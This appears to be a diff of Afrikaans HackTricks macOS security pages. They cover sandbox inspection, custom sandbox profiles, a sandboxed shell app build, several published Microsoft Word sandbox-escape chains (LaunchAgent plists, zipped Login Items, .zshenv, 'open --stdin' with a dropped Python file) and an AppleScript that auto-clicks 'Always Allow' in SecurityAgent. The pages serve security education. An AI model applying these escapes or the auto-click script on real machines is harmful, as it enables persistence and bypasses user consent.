[**Volgens hierdie**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), kan die **`sandbox_check`** (dit is 'n `__mac_syscall`), **kontroleer of 'n operasie toegelaat word of nie** deur die sandbox in 'n sekere PID.
|
||||
|
||||
Die [**sbtool-hulpmiddel**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) kan nagaan of 'n PID 'n sekere aksie kan uitvoer:
|
||||
Die [**instrument sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) kan kontroleer of 'n PID 'n sekere aksie kan uitvoer:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### Aangepaste SBPL in App Store-toepassings
|
||||
### Custom SBPL in App Store apps
|
||||
|
||||
Dit is moontlik vir maatskappye om hul toepassings te laat loop **met aangepaste Sandboksprofiel** (in plaas van die verstek een). Hulle moet die toekenning **`com.apple.security.temporary-exception.sbpl`** gebruik wat deur Apple gemagtig moet word.
|
||||
Dit kan moontlik wees vir maatskappye om hul toepassings te laat werk **met pasgemaakte Sandbox-profiele** (in plaas van met die standaard een). Hulle moet die regte **`com.apple.security.temporary-exception.sbpl`** gebruik wat deur Apple goedgekeur moet word.
|
||||
|
||||
Dit is moontlik om die definisie van hierdie toekenning te kontroleer in **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
Dit is moontlik om die definisie van hierdie regte in **`/System/Library/Sandbox/Profiles/application.sb:`** te kontroleer.
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -280,18 +262,19 @@ Dit is moontlik om die definisie van hierdie toekenning te kontroleer in **`/Sys
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Dit sal die string na hierdie entitlement evalueer as 'n Sandboksprofiel.
|
||||
Dit sal **die string na hierdie regte** as 'n Sandbox-profiel evaluer.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Standaard Sandboks-Debuut
|
||||
# macOS Default Sandbox Debug
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Op hierdie bladsy kan jy vind hoe om 'n toepassing te skep om willekeurige opdragte van binne die standaard macOS-sandboks te lanceer:
|
||||
In hierdie bladsy kan jy vind hoe om 'n app te skep om arbitrêre opdragte van binne die standaard macOS sandbox te begin:
|
||||
|
||||
1. Kompileer die toepassing:
|
||||
1. Compileer die aansoek:
|
||||
|
||||
{% code title="main.m" %}
|
||||
```objectivec
|
||||
|
@ -50,7 +51,7 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kompileer dit deur die volgende te hardloop: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
Compile dit deur te loop: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. Bou die `.app` bundel
|
||||
```bash
|
||||
|
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
3. Definieer die toestemmings
|
||||
3. Definieer die regte
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sandbox" %}
|
||||
|
@ -92,7 +93,7 @@ EOF
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sandbox + afl" %}
|
||||
{% tab title="sandbox + aflaai" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -110,7 +111,7 @@ EOF
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
4. Onderteken die toepassing (jy moet 'n sertifikaat in die sleutelbos skep)
|
||||
4. Teken die app (jy moet 'n sertifikaat in die sleutelkettie skep)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
|||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,73 +1,78 @@
|
|||
# macOS Office Sandboksontduiking
|
||||
# macOS Office Sandbox Bypasses
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Woordsandboksontduiking via Lancering Agente
|
||||
### Word Sandbox omseiling via Launch Agents
|
||||
|
||||
Die toepassing maak gebruik van 'n **aangepaste Sandboks** met die toekenning **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandboks maak dit moontlik om enige plek lêers te skryf solank die lêernaam begin met `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
Die toepassing gebruik 'n **aangepaste Sandbox** met die regte **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandbox laat toe om lêers enige plek te skryf solank die lêernaam met `~$` begin: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
Daarom was ontsnapping so maklik soos om 'n `plist` LanceringAgent te skryf in `~/Library/LaunchAgents/~$escape.plist`.
|
||||
Daarom was dit so maklik om te ontsnap as **om 'n `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist` te skryf.
|
||||
|
||||
Kyk na die [**oorspronklike verslag hier**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### Woordsandboksontduiking via Aanmeldingsitems en zip
|
||||
### Word Sandbox omseiling via Login Items en zip
|
||||
|
||||
Onthou dat vanaf die eerste ontsnapping kan Word arbitrêre lêers skryf waarvan die naam begin met `~$`, alhoewel dit na die patch van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie.
|
||||
Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin, alhoewel dit na die regstelling van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie.
|
||||
|
||||
Daar is ontdek dat dit binne die sandboks moontlik is om 'n **Aanmeldingsitem** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. Hierdie programme **sal egter nie uitgevoer word tensy** hulle **genotariseer** is nie en dit is **nie moontlik om args by te voeg** nie (sodat jy nie net 'n omgekeerde dop kan hardloop met behulp van **`bash`** nie).
|
||||
Daar is ontdek dat dit binne die sandbox moontlik is om 'n **Login Item** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. Hierdie toepassings **sal egter nie uitgevoer word nie** tensy hulle **notarized** is en dit is **nie moontlik om args toe te voeg nie** (so jy kan nie net 'n omgekeerde shell met **`bash`** uitvoer nie).
|
||||
|
||||
Vanaf die vorige Sandboksontduiking het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf, uitgeskakel. Daar is egter ontdek dat as jy 'n **zip-lêer as 'n Aanmeldingsitem** plaas, sal die `Archive Utility` dit net op sy huidige plek **ontpak**. Dus, omdat die `LaunchAgents`-map van `~/Library` nie standaard geskep word nie, was dit moontlik om 'n plist in `LaunchAgents/~$escape.plist` te **zip** en die zip-lêer in **`~/Library`** te plaas sodat dit by die volhardingsbestemming sal uitpak.
|
||||
Van die vorige Sandbox omseiling het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf, gedeaktiveer. Dit is egter ontdek dat as jy 'n **zip-lêer as 'n Login Item** plaas, die `Archive Utility` dit net **ontzip** op sy huidige ligging. So, omdat die gids `LaunchAgents` van `~/Library` nie standaard geskep word nie, was dit moontlik om **'n plist in `LaunchAgents/~$escape.plist` te zip** en die zip-lêer in **`~/Library`** te plaas sodat wanneer dit ontkoppel word, dit die volhardingsbestemming sal bereik.
|
||||
|
||||
Kyk na die [**oorspronklike verslag hier**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||
|
||||
### Woordsandboksontduiking via Aanmeldingsitems en .zshenv
|
||||
### Word Sandbox omseiling via Login Items en .zshenv
|
||||
|
||||
(Onthou dat vanaf die eerste ontsnapping kan Word arbitrêre lêers skryf waarvan die naam begin met `~$`).
|
||||
(Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin).
|
||||
|
||||
Die vorige tegniek het egter 'n beperking gehad: as die map **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sal dit misluk. Daarom is 'n ander Aanmeldingsitemketting vir hierdie doel ontdek.
|
||||
Die vorige tegniek het egter 'n beperking gehad; as die gids **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sou dit misluk. 'n Ander Login Items-ketting is vir hierdie ontdek.
|
||||
|
||||
'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** skep met die payload om uit te voer en dit dan zip en die zip-lêer in die slagoffers se gebruikersmap **`~/~$escape.zip`** skryf.
|
||||
'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** met die payload om uit te voer skep en dit dan zip en **die zip in die slagoffer** se gebruikersgids skryf: **`~/~$escape.zip`**.
|
||||
|
||||
Voeg dan die zip-lêer by die **Aanmeldingsitems** en dan die **`Terminal`**-toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer uitgepak word en **`.bash_profile`** en **`.zshenv`** oorskryf, en dus sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word).
|
||||
Voeg dan die zip-lêer by die **Login Items** en dan die **`Terminal`** toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer ontkoppel word, wat **`.bash_profile`** en **`.zshenv`** oorskryf en gevolglik sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word).
|
||||
|
||||
Kyk na die [**oorspronklike verslag hier**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
|
||||
|
||||
### Woordsandboksontduiking met Open en omgewingsveranderlikes
|
||||
### Word Sandbox Omseiling met Open en omgewing veranderlikes
|
||||
|
||||
Vanaf gesandbokste prosesse is dit steeds moontlik om ander prosesse aan te roep deur die **`open`** nutsprogram te gebruik. Hierdie prosesse sal egter **binne hul eie sandboks** uitgevoer word.
|
||||
Van sandboxed prosesse is dit steeds moontlik om ander prosesse aan te roep met die **`open`** nut. Boonop sal hierdie prosesse **binne hul eie sandbox** loop.
|
||||
|
||||
Daar is ontdek dat die open nutsprogram die **`--env`** opsie het om 'n toepassing met **spesifieke omgewingsveranderlikes** uit te voer. Daarom was dit moontlik om die **`.zshenv-lêer** binne 'n map **binne** die **sandboks** te skep en die `open` te gebruik met `--env` deur die **`HOME`-veranderlike** in te stel op daardie map en die `Terminal`-toepassing te open, wat die `.zshenv`-lêer sal uitvoer (vir een of ander rede was dit ook nodig om die veranderlike `__OSINSTALL_ENVIROMENT` in te stel).
|
||||
Daar is ontdek dat die open nut die **`--env`** opsie het om 'n toepassing met **spesifieke omgewing** veranderlikes te laat loop. Daarom was dit moontlik om die **`.zshenv` lêer** binne 'n gids **binne** die **sandbox** te skep en die gebruik van `open` met `--env` om die **`HOME` veranderlike** na daardie gids in te stel wat die `Terminal` toepassing sal oopmaak, wat die `.zshenv` lêer sal uitvoer (om een of ander rede was dit ook nodig om die veranderlike `__OSINSTALL_ENVIROMENT` in te stel).
|
||||
|
||||
Kyk na die [**oorspronklike verslag hier**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
|
||||
|
||||
### Woordsandboksontduiking met Open en stdin
|
||||
### Word Sandbox Omseiling met Open en stdin
|
||||
|
||||
Die **`open`** nutsprogram ondersteun ook die **`--stdin`** parameter (en na die vorige ontduiking was dit nie meer moontlik om `--env` te gebruik nie).
|
||||
Die **`open`** nut het ook die **`--stdin`** parameter ondersteun (en na die vorige omseiling was dit nie meer moontlik om `--env` te gebruik nie).
|
||||
|
||||
Die ding is dat selfs al is **`python`** deur Apple onderteken, dit nie 'n skripsie met die **`quarantine`**-eienskap sal uitvoer nie. Dit was egter moontlik om dit 'n skripsie van stdin te gee sodat dit nie sal nagaan of dit geïsoleer is nie: 
|
||||
Die ding is dat selfs al is **`python`** deur Apple gesertifiseer, dit **sal nie** 'n skrip met die **`quarantine`** attribuut uitvoer nie. Dit was egter moontlik om 'n skrip van stdin aan te bied sodat dit nie sal nagaan of dit in kwarantyn was of nie: 
|
||||
|
||||
1. Laat 'n **`~$exploit.py`**-lêer met arbitrêre Python-opdragte val.
|
||||
2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons neergesitde lêer as sy standaardinvoer uitvoer. Python voer ons kode gelukkig uit, en omdat dit 'n kindproses van _launchd_ is, is dit nie aan Word se sandboksreëls gebind nie.
|
||||
1. Laat 'n **`~$exploit.py`** lêer met willekeurige Python-opdragte val.
|
||||
2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons gevalle lêer as sy standaard invoer laat loop. Python voer ons kode met vreugde uit, en aangesien dit 'n kind proses van _launchd_ is, is dit nie gebonde aan Word se sandbox reëls nie.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,56 @@
|
|||
# macOS Apple-skripsies
|
||||
# macOS Apple Scripts
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Apple-skripsies
|
||||
## Apple Scripts
|
||||
|
||||
Dit is 'n skripsietaal wat gebruik word vir taakoutomatisering **deur te skakel met afgeleë prosesse**. Dit maak dit baie maklik om **ander prosesse te vra om sekere aksies uit te voer**. **Malware** kan hierdie funksies misbruik om funksies wat deur ander prosesse uitgevoer word, te misbruik.\
|
||||
Byvoorbeeld, 'n malware kan **willekeurige JS-kode inspuit in blaaier-geopende bladsye**. Of **outomaties kliek** op toestemmings wat aan die gebruiker gevra word.
|
||||
Dit is 'n skriptaal wat gebruik word vir taakautomatisering **wat met afstandsprosesse interaksie het**. Dit maak dit redelik maklik om **ander prosesse te vra om sekere aksies uit te voer**. **Malware** kan hierdie funksies misbruik om funksies wat deur ander prosesse uitgevoer word, te misbruik.\
|
||||
Byvoorbeeld, 'n malware kan **arbitraire JS-kode in blaaiers wat geopen is, inspuit**. Of **outomaties op** sekere toestemmings wat aan die gebruiker gevra word, te klik;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
end tell
|
||||
```
|
||||
Hier is 'n paar voorbeelde: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
|
||||
Vind meer inligting oor malware wat Apple-scripts gebruik [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
Vind meer inligting oor malware wat AppleScripts gebruik [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
|
||||
|
||||
Apple-scripts kan maklik "**gekompileer**" word. Hierdie weergawes kan maklik "**gedekompileer**" word met `osadecompile`.
|
||||
Apple-skripte kan maklik "**gecompileer**" word. Hierdie weergawes kan maklik "**gedecompileer**" word met `osadecompile`
|
||||
|
||||
Hierdie skripte kan egter ook uitgevoer word as "Slegs lees" (via die "Uitvoer..." opsie):
|
||||
However, this scripts can also be **exported as "Read only"** (via the "Export..." option):
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
file mal.scpt
|
||||
mal.scpt: AppleScript compiled
|
||||
```
|
||||
En in hierdie geval kan die inhoud selfs nie met `osadecompile` gedekomponeer word nie.
|
||||
en in hierdie geval kan die inhoud nie gedekomplileer word nie, selfs nie met `osadecompile` nie.
|
||||
|
||||
